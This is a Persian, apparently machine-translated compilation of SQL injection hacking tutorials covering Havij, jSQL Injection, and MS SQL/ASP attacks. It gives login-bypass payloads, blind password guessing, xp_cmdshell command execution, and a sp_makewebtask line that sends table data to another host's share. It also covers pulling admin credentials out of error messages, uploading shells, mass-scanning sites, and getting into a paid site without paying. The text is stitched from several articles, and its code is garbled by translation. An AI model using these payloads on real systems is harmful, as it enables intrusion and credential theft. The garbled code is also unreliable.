برنامه ای برای تزریق sql. دستورالعمل استفاده از jSQL Injection، ابزاری چند منظوره برای یافتن و بهره برداری از تزریق SQL در کالی لینوکس. هش های اجباری بی رحم با استفاده از تزریق jSQL

Havij برنامه ای است که آسیب پذیری های وب سایت را بررسی می کند. اغلب، برای هدف اصلی خود، یعنی تزریق تزریق SQL استفاده نمی شود. به همین دلیل است که این ابزار اغلب به عنوان نرم افزار "هک" طبقه بندی می شود.

اصل عملیات

با استفاده از این برنامه، می توانید حملاتی را بر روی یک وب سرویس انجام دهید تا بیان SQL را از طریق الحاق تغییر دهید. در صورت موفقیت آمیز بودن، تزریق به شما اجازه می دهد تا منطق اجرای درخواست کاربر را مطابق با نیازهای خود تغییر دهید. اغلب در حین حمله، یک انگشت نگاری ساده از پایگاه داده ایجاد می شود، پس از آن داده های لازم از آن وارد می شود، به عنوان مثال، یک پایگاه داده کاربر یا یک حساب مدیر. در صورت وجود آسیب‌پذیری، مهاجم حتی می‌تواند با بخش Back-end برنامه وب تعامل داشته باشد. به طور خاص، چنین پیاده سازی امکان اجرای دستورات لازم را بر روی سرور یا مشاهده فایل های لازم در سمت میزبان را فراهم می کند.

ممکن ها

Havij به شما امکان می دهد هش رمز عبور و حذف جدول را ذخیره کنید. این برنامه به شما امکان می دهد انواع مختلفی از تزریق ها را انجام دهید: تزریق SQL مبتنی بر خطا، تزریق SQL پرس و جو UNION، تزریق SQL پرس و جوهای انباشته، تزریق SQL کور مبتنی بر زمان، و تزریق SQL کور مبتنی بر بولین. این ابزار با HTTPS کار می کند و از انواع مختلف DBMS پشتیبانی می کند: MSAccess، MySQL، Oracle، PostgreSQ و حتی Sybase. در صورت لزوم، Havij می تواند در چندین رشته از طریق یک پروکسی کار کند.

نحو کد تعبیه شده را می توان به صورت دستی ویرایش کرد. همچنین، قبل از شروع یک حمله، شما مجاز به انتخاب لیستی از کلمات کلیدی جستجو شده، ستون های جدول یا انواع داده ها (به عنوان مثال، اعداد صحیح یا کسری) هستید.

در حین عملیات، Havij یک گزارش دقیق از عملیات انجام شده را نگه می دارد که پس از اتمام حمله در پوشه برنامه ذخیره می شود. رابط برنامه کاملاً بصری است و تمام کنترل های اصلی در یک پنجره قرار می گیرند.

ویژگی های کلیدی

  • انجام تزریق SQL با نحو مورد نیاز.
  • پشتیبانی از گزینه های مختلف پیاده سازی؛
  • جستجو برای آسیب پذیری های وب سایت و برنامه؛
  • توانایی کار با انواع مختلف DBMS؛
  • پشتیبانی از HTTPS و پروکسی

تزریق SQLیک فرصت بسیار خوب برای یک هکر برای بدست آوردن
دسترسی به سرور و با کمی تلاش او
هنوزم میگیره :)

کدگذار داخل

امروزه کار با پایگاه های داده پشتیبانی می شود
تقریباً تمام زبان های برنامه نویسی شامل بیسیک، سی پلاس پلاس، جاوا، PERL، پی اچ پی، اسمبلر و حتی جاوا اسکریپت هستند! و این برنامه ها چیزی بیش از DBMS - سیستم های مدیریت پایگاه داده نامیده نمی شوند. پایگاه های داده اغلب برای حل مشکلات مالی استفاده می شود،
حسابداری، سازمان پرسنل، اما آنها نیز برنامه خود را در اینترنت پیدا کرده اند.

از پایگاه های داده اغلب برای نوشتن برنامه های وب استفاده می شود. استفاده از آنها برای ذخیره داده های ثبت نام کاربر، شناسه های جلسه، سازماندهی جستجوها و همچنین سایر کارهایی که نیاز به پردازش بیشتری دارند مناسب است.
مقدار داده برای دسترسی به پایگاه داده از فناوری های سرور استفاده می شود: PHP، PERL، ASP و غیره. این جایی است که سرگرم کننده آغاز می شود. وقتی روی سرور
همه وصله ها نصب شده اند و فایروال همه پورت ها را به جز پورت 80 مسدود می کند یا زمانی که برای دسترسی به برخی داده ها نیاز به احراز هویت است، هکر می تواند از SQL Injection برای هک استفاده کند. ماهیت این حمله سوء استفاده از یک خطا در تقاطع فناوری های WEB و SQL است. واقعیت این است که بسیاری از صفحات وب برای پردازش داده های کاربر یک ویژه را تشکیل می دهند SQLدرخواست پایگاه داده استفاده بی دقت از این تکنیک می تواند به نتایج بسیار جالبی منجر شود...

تزریق SQL

برای توضیح حمله، تصور کنید که برای دانلود یک ابزار بسیار مهم به سایت رفته اید و با وحشت متوجه شده اید که فقط یک کاربر ثبت نام شده می تواند این کار را انجام دهد و البته ثبت نام هزینه دارد :) شما نمی خواهید هدر دهید. آخرین پولی که به دست آورده اید، اما بدون برنامه نمی توانید این کار را انجام دهید! وقت آن است که به یاد بیاوریم چگونه
دسترسی به پایگاه های داده SQL. برای مثال، بررسی لاگین و رمز عبور خود در PHP ممکن است به شکل زیر باشد:

$result=mysql_db_query($db,"SELECT * FROM $table WHERE user="$login" AND
pass="$password"");
$num_rows=mysql_num_rows($result);
mysql_close($link);
اگر ($num_rows!=0)
{
// احراز هویت درست است
}
دیگر
{
// خطا احراز هویت
}

من دو نظر اضافه کردم، "ATHENTICATION OK" - در عوض باید
به کدی بروید که در صورت صحیح بودن رمز عبور و ورود به سیستم اجرا می شود. یکی دیگر از "خطای احراز هویت" مکانی است که در آن کدهایی که در صورت نادرست بودن اجرا می شوند توضیح داده می شود. اگر فرم را پر کنید، درخواست مانند "http://www.server.com?login=user&password=31337" خواهد بود، جایی که نام www.server.com است.
سروری که می خواهیم به آن وصل شویم. ما آنچه را که دنبالش بودیم پیدا کردیم و بنابراین دوباره به سر کار باز خواهیم گشت SQL. بنابراین، اگر باید یک لاگین و رمز عبور برای مجوز مشخص کنید، پس از آن تولید شده است SQLدرخواست به شکل زیر خواهد بود:

انتخاب * از کاربران WHERE login="user" و
رمز عبور = "31337"

این به معنای چیزی شبیه به این است: تمام رکوردهای پایگاه داده کاربران را که لاگین آنها "user" و رمز عبور "31337" است به من برگردانید. اگر چنین رکوردی وجود داشته باشد، کاربر ثبت نام می کند، اما اگر نه، پس نه... اما در شرایط خاص، همه چیز قابل اصلاح است. این به وضعیتی اشاره دارد که برنامه محتوای داده های ارسال شده را بررسی نمی کند یا آن را به طور کامل برای حضور بررسی نمی کند. SQLدستورالعمل ها. در این مثال، دو فیلد ورود و رمز عبور بررسی شده است، اما اگر "31337" و email=" را به عنوان رمز عبور مشخص کنید. [ایمیل محافظت شده]"(بدون گیومه های دوگانه)، سپس پرس و جو کمی متفاوت خواهد شد:

SELECT * FROM users WHERE login="user" AND password="31337" AND
ایمیل = " [ایمیل محافظت شده]"

و در صورت وجود فیلد ایمیل، این شرط نیز بررسی می شود. اگر اصول جبر بولی را به خاطر داشته باشید، به ذهنتان خطور می کند که علاوه بر عملیات "و"، یک "یا" نیز وجود دارد و از آنجایی که استفاده از آنها توسط SQL پشتیبانی می شود، می توانید
به روشی که توضیح داده شد، یک شرط اضافه کنید که همیشه true باشد. برای انجام این کار، باید “user” یا 1=1-- را به عنوان ورود مشخص کنید، در این صورت درخواست به شکل زیر خواهد بود:

SELECT * FROM users WHERE login="user" OR 1=1--" AND
رمز عبور = "31337"

ابتدا باید بدانید که "--" به معنای پایان درخواست و همه چیز بعد از "--" است.
پردازش نخواهد شد! معلوم شد که ما درخواستی کردیم:

SELECT * FROM users WHERE login="user" OR 1=1

همانطور که می بینید، ما شرط "1=1" را اضافه کردیم، به این معنی که معیار تأیید این خواهد بود که "اگر ورود به سیستم "کاربر" یا 1=1 باشد، اما 1 همیشه برابر است با 1 (تنها استثنا می تواند محاسبات Dani Shepovalov باشد. :)). برای بررسی شبهات ما
"http://www.server.com?login=user or 1=1--&password=31337" را در نوار آدرس وارد کنید. این منجر به این واقعیت می شود که مهم نیست کدام ورود را مشخص کرده ایم، اما
مخصوصا رمز عبور! و ما در ماتریس، در سیستم هستیم و می توانیم با آرامش آنچه را که نیاز داریم دانلود کنیم.

اما این همه در تئوری است. در عمل، ما نمی دانیم درخواست چگونه شکل می گیرد، چه داده هایی منتقل می شود و به چه ترتیبی. بنابراین، شما باید "user" یا 1=1--" را برای همه فیلدها مشخص کنید. همچنین باید فرم ارسال را برای فیلدهای مخفی بررسی کنید. در HTML آنها به صورت " توصیف می شوند. ". در صورت وجود، صفحه را ذخیره کنید و مقادیر این فیلدها را تغییر دهید. مقادیر موجود در آنها اغلب فراموش می شوند تا برای وجود دستورات SQL بررسی شوند. اما برای اینکه همه چیز کار کند، باید مقدار کامل را مشخص کنید. مسیر اسکریپت در فرم (برچسب "FORM") برای پارامتر "ACTION" که این درخواست را پردازش می کند.

اما همیشه مشخص نیست که درخواست چگونه شکل می گیرد،
مثال قبلی را می توان به روش های زیر تشکیل داد:

SELECT * FROM users WHERE (ورود = "کاربر" و رمز عبور = "31337")
SELECT * FROM users WHERE login="user" AND password="31337"
انتخاب * از کاربران WHERE login=کاربر و رمز عبور=31337

در این مورد، می توانید گزینه های زیر را امتحان کنید:

"OR 1=1--
"OR 1=1--
یا 1=1--
"یا "a"="a
"یا "a"="a
") یا ("a"="a
یا "1"="1"

همه چیز به هدف اسکریپت و برنامه نویس بستگی دارد. از آنجایی که هر فرد تمایل دارد همه چیز را به روش خود انجام دهد، این امکان وجود دارد که برنامه نویس ساده ترین گزینه را انتخاب نکند. بنابراین، شما نباید بلافاصله
اگر رد شدید تسلیم شوید ضروری است
تا حد امکان گزینه های زیادی را امتحان کنید ...

تشخیص رمز عبور

دور زدن مجوز بد نیست، اما اغلب سوراخی که استفاده می کنید بسته می شود و هر چیزی که در دسترس شما بود از بین می رود.
اگر برنامه نویس احمق نباشد، انتظار می رود
به مرور زمان تمام حفره ها را می بندد. با مراقبت از قبل می توانید به راحتی از شر چنین موقعیت هایی خلاص شوید. راه حل صحیح ممکن است حدس زدن رمز عبور با استفاده از آن باشد
تجزیه و تحلیل نتایج احراز هویت ابتدا سعی می کنیم رمز عبور را حدس بزنیم، برای انجام این کار، مکان آن را وارد کنید:

"OR password>"a

اگر به ما گفته شود که مجوز تصویب شده است، پس رمز عبور
با حرف "a" شروع نمی شود، بلکه با یکی از موارد زیر در لیست شروع می شود. بیایید پیش برویم و جایگزین کنیم
جای "الف"، بعد "ب"، "ج"، "د"، "ه"... و غیره. تا زمانی که به ما بگویند رمز صحیح نیست. بگذارید این فرآیند در کاراکتر "x" متوقف شود، در این حالت دو گزینه برای توسعه وضعیت ایجاد می شود: رمز عبور پیدا می شود یا رمز عبور با این کاراکتر شروع می شود. برای بررسی گزینه اول، محل رمز عبور را بنویسید:

"OR password="x

و اگر پسورد پذیرفته شد و اجازه ورود پیدا کردید پس رمز را حدس زدید! خوب، نه، پس باید شخصیت دوم را انتخاب کنید،
دقیقاً از همان ابتدا دو کاراکتر را بررسی کنید
نیاز به همان در پایان یک رمز عبور دریافت خواهید کرد و به همین ترتیب به دنبال ورود خواهید بود :)
اگر رمز عبور پیدا شده و ورود به سیستم مناسب شما نیست، می توانید دیگران را پیدا کنید. برای انجام این کار، باید از آخرین کاراکتر رمز عبور پیدا شده شروع به بررسی کنید. بنابراین، اگر رمز عبور "xxx" بود، لازم است وجود رمز عبور را بررسی کنید
"xxxy":

"OR password="xxx

تا بیش از یک گزینه را از دست ندهید!

MS SQL Server

MS SQL Server به طور کلی یک موهبت الهی است اگر فیلترینگ لازم از دست برود. با استفاده از آسیب پذیری SQL Injection می توانید آن را اجرا کنید
دستورات روی سرور راه دور با استفاده از exec master..xp_cmdshell. اما برای استفاده از این طرح
عملیات SELECT باید تکمیل شود. در SQL، دستورات با نقطه ویرگول از هم جدا می شوند. بنابراین، برای اتصال به برخی از IP از طریق Telnet، باید رمز عبور / ورود به سیستم را تایپ کنید:

"; exec master..xp_cmdshell "telnet 192.168.0.1" --

MS SQL Server چندین ویژگی جالب دیگر دارد که به شما امکان می دهد لاگین ها و رمزهای عبور ذخیره شده در پایگاه داده را پیدا کنید. برای انجام این کار، خروجی خطا به یک سرور دلخواه و از طریق آنها هدایت می شود
تجزیه و تحلیل، می توانید نام جدول، فیلدها و انواع آنها را پیدا کنید. پس از آن می توانید درخواست دهید

"UNION SELECT TOP 1 ورود به سیستم از کاربران--

(login نام فیلد حاوی لاگین و user نام جدول است،
نیمه دانشمندان در فرآیند تجزیه و تحلیل خطا).

پاسخ ممکن است این باشد:


خطای نحوی در تبدیل مقدار nvarchar "admin" to a column of data type int. !}
/default.asp، خط 27

اکنون می دانیم که کاربری به نام "admin" وجود دارد. اکنون می توانیم رمز عبور او را دریافت کنیم:

UNION SELECT TOP 1 گذرواژه از کاربرانی که در آن login="admin"--

نتیجه:

خطای Microsoft OLE DB Provider for ODBC Drivers "80040e07"
خطای نحوی در تبدیل مقدار nvarchar "xxx" to a column of data type int. !}
/tedault.asp، خط 27

اکنون می دانیم که یک کاربر "admin" با رمز عبور "xxx" وجود دارد. با این شما می توانید با خیال راحت
از آن استفاده کنید و وارد سیستم شوید 😉

اما بسیاری از توابع دیگر برای کار با SQL وجود دارد،
هنگام کار با یک پایگاه داده، همچنین می توانید داده ها را حذف کنید، آنها را تغییر دهید، فایل های خود را وارد کنید، و حتی فایل ها را دستکاری کنید و با رجیستری کار کنید.
به طور کلی قوانین SQL Server :)

حفاظت

اما البته می توان از همه اینها اجتناب کرد. برای انجام این کار می توانید
استفاده از فیلترها،
توسط تولید کنندگان ارائه می شود. شما می توانید راه حل های خود را پیدا کنید، به عنوان مثال، جایگزین همه مجرد
نقل قول های دوگانه (اگر برای SQLدرخواست کنید که از تک ها استفاده کنیم) یا بالعکس. فقط در صورت نیاز می توانید استفاده از حروف و s@baki را مجاز کنید
آدرس ایمیل. و در مروارید شگفت انگیز وجود دارد
تابع 🙂 quote() در ماژول DBI::DBD، که با موفقیت درخواست شما را با توجه به SQL. راه حل های زیادی وجود دارد، فقط به آنها نیاز دارید
بهره بردن از وگرنه چرا این همه ...

فایل دانلود شده را با دوبار کلیک کردن اجرا کنید (شما باید یک ماشین مجازی داشته باشید).

3. ناشناس بودن هنگام بررسی یک سایت برای تزریق SQL

راه اندازی Tor و Privoxy در کالی لینوکس

[بخش در حال توسعه]

راه اندازی Tor و Privoxy در ویندوز

[بخش در حال توسعه]

تنظیمات پروکسی در jSQL Injection

[بخش در حال توسعه]

4. بررسی سایت برای تزریق SQL با تزریق jSQL

کار با برنامه فوق العاده ساده است. فقط آدرس وب سایت را وارد کرده و ENTER را فشار دهید.

تصویر زیر نشان می دهد که سایت در برابر سه نوع تزریق SQL آسیب پذیر است (اطلاعات مربوط به آنها در گوشه سمت راست پایین نشان داده شده است). با کلیک بر روی نام تزریق ها می توانید روش مورد استفاده را تغییر دهید:

همچنین پایگاه های داده موجود قبلا به ما نمایش داده شده است.

می توانید محتویات هر جدول را مشاهده کنید:

به طور معمول، جالب ترین چیز در مورد جداول، اعتبار مدیر است.

اگر خوش شانس هستید و داده های مدیر را پیدا کردید، برای خوشحالی خیلی زود است. هنوز باید پنل مدیریت را پیدا کنید که در آن این داده ها را وارد کنید.

5. پنل های مدیریت را با تزریق jSQL جستجو کنید

برای این کار به تب بعدی بروید. در اینجا با لیستی از آدرس های احتمالی مواجه می شویم. می توانید یک یا چند صفحه را برای بررسی انتخاب کنید:

راحتی در این واقعیت نهفته است که شما نیازی به استفاده از برنامه های دیگر ندارید.

متأسفانه، برنامه نویسان بی دقت زیادی وجود ندارند که رمزهای عبور را در متن واضح ذخیره می کنند. اغلب در خط رمز عبور چیزی شبیه به آن را می بینیم

8743b52063cd84097a65d1633f5c74f5

این یک هش است. شما می توانید آن را با استفاده از نیروی بی رحم رمزگشایی کنید. و... jSQL Injection دارای بروت فورس داخلی است.

6. هش‌های Brute Force با استفاده از jSQL Injection

راحتی بدون شک این است که شما نیازی به جستجوی برنامه های دیگر ندارید. پشتیبانی از بسیاری از محبوب ترین هش ها وجود دارد.

این بهترین گزینه نیست. برای تبدیل شدن به یک گورو در رمزگشایی هش، کتاب "" به زبان روسی توصیه می شود.

اما، البته، زمانی که برنامه دیگری در دسترس نیست یا زمانی برای مطالعه وجود ندارد، jSQL Injection با عملکرد بروت فورس داخلی آن بسیار مفید خواهد بود.

تنظیماتی وجود دارد: می توانید تعیین کنید کدام کاراکترها در رمز عبور گنجانده شده است، محدوده طول رمز عبور.

7. عملیات فایل پس از تشخیص تزریق SQL

علاوه بر عملیات با پایگاه داده - خواندن و اصلاح آنها، در صورت شناسایی تزریق SQL، عملیات فایل زیر را می توان انجام داد:

  • خواندن فایل ها روی سرور
  • آپلود فایل های جدید روی سرور
  • آپلود پوسته ها روی سرور

و همه اینها در jSQL Injection پیاده سازی شده است!

محدودیت هایی وجود دارد - سرور SQL باید دارای امتیازات فایل باشد. مدیران سیستم هوشمند آنها را غیرفعال کرده اند و نمی توانند به سیستم فایل دسترسی پیدا کنند.

بررسی وجود امتیازات فایل بسیار ساده است. به یکی از تب ها (خواندن فایل ها، ایجاد پوسته، آپلود فایل جدید) بروید و سعی کنید یکی از عملیات مشخص شده را انجام دهید.

نکته بسیار مهم دیگر - ما باید دقیقاً مسیر مطلق فایلی را که با آن کار خواهیم کرد بدانیم - در غیر این صورت هیچ چیز کار نخواهد کرد.

به اسکرین شات زیر نگاه کنید:

به هر تلاشی برای کار بر روی یک فایل، ما پاسخ زیر را دریافت می کنیم: بدون امتیاز FILE(بدون امتیاز فایل). و در اینجا هیچ کاری نمی توان کرد.

اگر در عوض خطای دیگری دارید:

مشکل در نوشتن در [directory_name]

این بدان معناست که شما مسیر مطلقی را که می خواهید فایل را در آن بنویسید به اشتباه مشخص کرده اید.

برای حدس زدن یک مسیر مطلق، باید حداقل سیستم عاملی را که سرور روی آن اجرا می‌شود، بشناسید. برای انجام این کار، به تب Network بروید.

چنین رکوردی (خط Win64) به ما دلیل می دهد که فرض کنیم با سیستم عامل ویندوز سروکار داریم:

Keep-Alive: timeout=5, max=99 سرور: Apache/2.4.17 (Win64) PHP/7.0.0RC6 اتصال: Keep-Alive روش: HTTP/1.1 200 OK Content-Length: 353 تاریخ: جمعه، 115 دسامبر 11:48:31 GMT X-Powered-By: PHP/7.0.0RC6 نوع محتوا: text/html; charset=UTF-8

در اینجا تعدادی یونیکس (*BSD، Linux) داریم:

Transfer-Encoding: chunked تاریخ: جمعه، 11 دسامبر 2015، 11:57:02 GMT روش: HTTP/1.1 200 OK Keep-Alive: timeout=3، max=100 اتصال: keep-alive نوع محتوا: text/html X- پشتیبانی شده توسط: PHP/5.3.29 سرور: Apache/2.2.31 (یونیکس)

و در اینجا ما CentOS را داریم:

روش: HTTP/1.1 200 OK منقضی می‌شود: پنج‌شنبه، 19 نوامبر 1981، 08:52:00 GMT مجموعه کوکی: PHPSESSID=9p60gtunrv7g41iurr814h9rd0; path=/ اتصال: keep-alive X-Cache-Lookup: MISS از t1.hoster.ru:6666 سرور: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.4.37 X-Cache: MISS از t1.hoster.ru Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache تاریخ: جمعه, 11 دسامبر 2015 12:08:54 GMT انتقال-کدگذاری: تکه تکه شده نوع محتوا: متن/html. charset=WINDOWS-1251

در ویندوز، یک پوشه معمولی برای سایت ها است C:\Server\data\htdocs\. اما، در واقع، اگر کسی "به فکر" ساخت سرور در ویندوز افتاده باشد، به احتمال زیاد، این شخص چیزی در مورد امتیازات نشنیده است. بنابراین، باید مستقیماً از دایرکتوری C:/Windows/ شروع به امتحان کنید:

همانطور که می بینید، بار اول همه چیز خوب پیش رفت.

اما خود پوسته های تزریق jSQL شک و تردیدهایی را در ذهن من ایجاد می کند. اگر امتیاز فایل دارید، می توانید به راحتی چیزی را با یک رابط وب آپلود کنید.

8. بررسی انبوه سایت ها برای تزریق SQL

و حتی این تابع در jSQL Injection نیز موجود است. همه چیز بسیار ساده است - لیستی از سایت ها را دانلود کنید (می توانید از یک فایل وارد کنید)، مواردی را که می خواهید بررسی کنید انتخاب کنید و برای شروع عملیات روی دکمه مناسب کلیک کنید.

نتیجه گیری از jSQL Injection

jSQL Injection یک ابزار خوب و قدرتمند برای جستجو و سپس استفاده از تزریق SQL موجود در وب سایت ها است. مزایای بدون شک آن: سهولت استفاده، توابع مرتبط داخلی. jSQL Injection می تواند بهترین دوست یک مبتدی در هنگام تجزیه و تحلیل وب سایت ها باشد.

در میان کاستی ها، من به عدم امکان ویرایش پایگاه داده ها اشاره می کنم (حداقل این قابلیت را پیدا نکردم). مانند تمام ابزارهای رابط کاربری گرافیکی، یکی از معایب این برنامه را می توان به عدم استفاده از آن در اسکریپت ها نسبت داد. با این وجود، برخی از اتوماسیون ها نیز در این برنامه امکان پذیر است - به لطف عملکرد داخلی بررسی انبوه سایت.

استفاده از برنامه jSQL Injection بسیار راحت تر از sqlmap است. اما sqlmap از انواع بیشتری از تزریق SQL پشتیبانی می کند، گزینه هایی برای کار با فایروال فایل ها و برخی عملکردهای دیگر دارد.

خط پایین: jSQL Injection بهترین دوست یک هکر تازه کار است.

راهنمای این برنامه در دایره المعارف لینوکس کالی را می توانید در این صفحه پیدا کنید: http://kali.tools/?p=706

SQL Injection برای Dummies، هک ASP+MSSQL

الکساندر آنتیپوف

این مقاله حاوی هیچ حقیقت جدیدی نیست. این مقاله بیشتر برای مبتدیان در نظر گرفته شده است، اما شاید حرفه ای ها بتوانند یک یا دو ترفند جدید پیدا کنند.


این مقاله قصد دارد به تازه‌کاران کمک کند تا با مشکلاتی که ممکن است در هنگام استفاده از تکنیک SQL Injection با آن مواجه شوند، از آن استفاده موفقیت‌آمیز کنند و بتوانند از خود در برابر چنین حملاتی محافظت کنند.

معرفی

وقتی سرور مورد نظر فقط پورت 80 را باز دارد و اسکنر آسیب پذیری نمی تواند چیز جالبی را گزارش کند و می دانید که مدیر سیستم همیشه خیلی سریع همه وصله ها را روی وب سرور نصب می کند، آخرین شانس ما هک وب است. تزریق SQL یکی از انواع هک وب است که فقط از پورت 80 استفاده می کند و حتی در صورت نصب به موقع وصله ها می تواند کار کند. هدف این حمله بیشتر برنامه های تحت وب (مانند ASP، JSP، PHP، CGI و غیره) است تا مستقیماً به وب سرور یا سرویس های موجود در سیستم عامل.

این مقاله حاوی هیچ حقیقت جدیدی نیست. این مقاله بیشتر برای مبتدیان در نظر گرفته شده است، اما شاید حرفه ای ها بتوانند یک یا دو ترفند جدید پیدا کنند. همچنین توصیه می کنم برای کسب اطلاعات دقیق تر از متخصصان در این زمینه، لینک های انتهای مقاله را بررسی کنید.

1.1 تزریق SQL چیست؟

SQL Injection روشی است که برای تزریق پرس و جوها/فرمان های SQL از طریق صفحات وب طراحی شده است. بسیاری از صفحات وب از پارامترهای ارائه شده به کاربران وب استفاده می کنند و یک پرس و جوی SQL در پایگاه داده ایجاد می کنند. اجازه دهید به عنوان مثال مورد ورود کاربر را در نظر بگیریم، زمانی که یک صفحه وب با نام و رمز عبور وجود دارد و یک پرس و جوی SQL در پایگاه داده انجام می شود تا بررسی شود که آیا یک کاربر ثبت نام شده با آن نام و رمز عبور وجود دارد یا خیر. با استفاده از SQL Injection می‌توان یک فیلد نام کاربری و/یا رمز عبور ساخته شده ارسال کرد که پرس و جوی SQL را تغییر می‌دهد، که می‌تواند چیزهای جالبی به ما بدهد.

2.0 آنچه باید به دنبال آن باشیم

سعی کنید صفحاتی را پیدا کنید که از شما داده می خواهند، مانند صفحه جستجو، صفحه بحث و غیره. گاهی اوقات صفحات html از روش POST برای ارسال دستورات به یک صفحه وب دیگر استفاده می کنند. در این صورت، هیچ پارامتری در URL مشاهده نخواهید کرد. با این حال، در این مورد، می توانید به دنبال تگ "FORM" در کد منبع HTML صفحات بگردید. شما چیزی شبیه به این پیدا خواهید کرد:



تمام پارامترها بین

و
می تواند به طور بالقوه در برابر تزریق SQL آسیب پذیر باشد.

2.1 اگر صفحه ای را پیدا نکردید که از ورودی استفاده می کند چه؟

به دنبال صفحاتی مانند صفحات وب ASP، JSP، CGI یا PHP باشید. سعی کنید صفحاتی را پیدا کنید که از پارامترهایی مانند:

3.0. چگونه می توانم بررسی کنم چیزی که پیدا کردم آسیب پذیر است؟

سعی کنید با یک نقل قول شروع کنید. خط زیر را وارد کنید:

سلام" یا 1=1--

در قسمت نام کاربری یا رمز عبور یا حتی در پارامتر URL. مثال:

ورود: سلام" یا 1=1--
پاس: سلام" یا 1=1--
http://duck/index.asp?id=hi" یا 1=1--

اگر این کار را با یک فیلد مخفی انجام دادید، فقط HTML اصلی را دانلود کنید، آن را در هارد دیسک خود ذخیره کنید، URL و فیلد مخفی را متناسب با آن تغییر دهید. مثال:



اگر شانس با شماست، می توانید بدون نام کاربری یا رمز عبور وارد شوید.

3.1 اما چرا "یا 1=1--؟

بیایید به مثال دیگری نگاه کنیم که سودمندی ساختار " یا 1=1-- را توضیح می دهد. علاوه بر دور زدن ثبت نام، می توانیم به اطلاعات اضافی نیز نگاه کنیم که معمولاً در دسترس نیستند. صفحه asp را در نظر بگیرید که به صفحه دیگری با آدرس زیر:

http://duck/index.asp?category=food

در URL، "category" نام متغیر است و "food" مقداری است که به آن متغیر اختصاص داده شده است. برای انجام این کار، صفحه asp می تواند حاوی کد زیر باشد:

v_cat = درخواست ("رده")
sqlstr="انتخاب * از محصول WHERE PCategory="" & v_cat & """
تنظیم rs=conn.execute(sqlstr)

همانطور که می بینید، متغیر ما با v_cat ترکیب می شود و بنابراین کوئری SQL باید به صورت زیر باشد:

انتخاب * از محصول WHERE PCcategory="food"

این درخواست باید مجموعه ای حاوی یک یا چند ردیف را برگرداند که با عبارت WHERE مطابقت دارد، در این مورد "غذا". حالا بیایید URL را به صورت زیر تغییر دهیم:

http://duck/index.asp?category=food" یا 1=1--
انتخاب * از محصول WHERE PCcategory="food" یا 1=1--‘

این کوئری تمام ردیف‌های جدول محصول را برمی‌گرداند، صرف نظر از اینکه Pcategory "غذا" است یا خیر. خط تیره دوتایی "-" به MS SQL Server می گوید که بقیه پرس و جو را که پس از نقل قول (") دنبال می شود نادیده بگیرد.

با این حال، اگر از یک سرور غیر SQL استفاده می کنید، یا نمی توانید بقیه پرس و جو را نادیده بگیرید، سعی کنید:

" یا "a"="a

اکنون پرس و جوی SQL تبدیل خواهد شد:

انتخاب * از محصول WHERE PCcategory="food" یا "a"="a"

این کوئری همان نتیجه را برمی گرداند.

بسته به پرس و جو واقعی SQL، ممکن است مجبور شوید برخی از این امکانات را امتحان کنید:

"یا 1=1--
"یا 1=1--
یا 1=1--
" یا "a"="a
" یا "a"="a
") یا ("a"="a

4.0 چگونه می توانم با استفاده از تزریق SQL دستورات را از راه دور اجرا کنم؟

توانایی وارد کردن یک دستور SQL معمولاً به این معنی است که ما می توانیم پرس و جوهای SQL را به دلخواه اجرا کنیم. نصب پیش فرض MS SQL Server با حقوق سیستم اجرا می شود. ما می توانیم رویه های داخلی مانند master..xp_cmdshell را برای اجرای دستورات دلخواه از راه دور فراخوانی کنیم:

"; exec master..xp_cmdshell "ping 10.10.1.2" --

اگر (") کار نمی کند، از دو نقل قول (") استفاده کنید.

نقطه ویرگول دستور فعلی SQL را پایان می دهد و به شما امکان می دهد دستورات جدید SQL را اجرا کنید. برای بررسی موفقیت آمیز بودن دستور، می توانید بسته های ICMP در 10.10.1.2 را بررسی کنید تا ببینید آیا آنها حاوی بسته هایی از سرور آسیب پذیر هستند یا خیر:

http://site/?ID=31610

اگر هیچ درخواست پینگی از سرور دریافت نکردید و پیام خطایی دریافت کردید که نشان دهنده خطای مجوز است، ممکن است مدیر دسترسی کاربر وب به رویه های ذخیره شده را محدود کرده باشد.

5.0 چگونه می توانم نتایج پرس و جوی SQL خود را دریافت کنم؟

می توانید از sp_makewebtask برای نوشتن درخواست خود در HTML استفاده کنید:

"؛ EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html"، "SELECT * FROM INFORMATION_SCHEMA.TABLES"

IP مشخص شده باید یک پوشه "اشتراک گذاری" با دسترسی برای همه داشته باشد.

6.0 چگونه می توان داده ها را از پایگاه داده با استفاده از پیام های خطای ODBC بازیابی کرد؟

ما می توانیم از اطلاعات پیام خطای تولید شده توسط سرور SQL برای بازیابی هر داده استفاده کنیم. برای مثال صفحه زیر را در نظر بگیرید:

http://duck/index.asp?id=10

اکنون سعی می کنیم عدد صحیح '10' را با یک ردیف دیگر در پایگاه داده به هم پیوند دهیم:

http://duck/index.asp?id=10 UNION TOP 1 TABLE_NAME را از INFORMATION_SCHEMA.TABLES-- انتخاب کنید

جدول سیستم INFORMATION_SCHEMA.TABLES حاوی اطلاعات همه جداول روی سرور است.

فیلد TABLE_NAME به وضوح حاوی نام هر جدول در پایگاه داده است. این انتخاب شد زیرا می دانیم همیشه وجود دارد. درخواست ما:

TOP 1 TABLE_NAME را از INFORMATION_SCHEMA انتخاب کنید.TABLES--

این کوئری نام اول را در پایگاه داده برمی گرداند. وقتی این مقدار رشته را به عدد صحیح 10 یون می کنیم، MS SQL Server سعی می کند رشته nvarchar را به یک عدد صحیح تبدیل کند. با این کار خطایی ایجاد می شود که نمی تواند nvarchar را به int تبدیل کند. سرور با خطای زیر مواجه می شود:


خطای نحوی در تبدیل مقدار nvarchar "table1" to a column of data type int. !}
/index.asp، خط 5

پیام خطا حاوی اطلاعاتی در مورد مقداری است که نمی توان آن را به عدد صحیح تبدیل کرد. در این مورد، نام جدول اول - "table1" را گرفتیم.

برای بدست آوردن نام جدول بعدی می توانیم از کوئری زیر استفاده کنیم:

http://duck/index.asp?id=10 UNION TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA را انتخاب کنید. جدولهایی که TABLE_NAME در آنها نیست ("table1")--

همچنین می توانیم داده ها را با استفاده از کلید LIKE جستجو کنیم:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME مانند "%25login%25"--

خطای Microsoft OLE DB Provider for ODBC Drivers "80040e07" خطای نحوی در تبدیل مقدار nvarchar "admin_login" to a column of data type int. !} /index.asp، خط 5

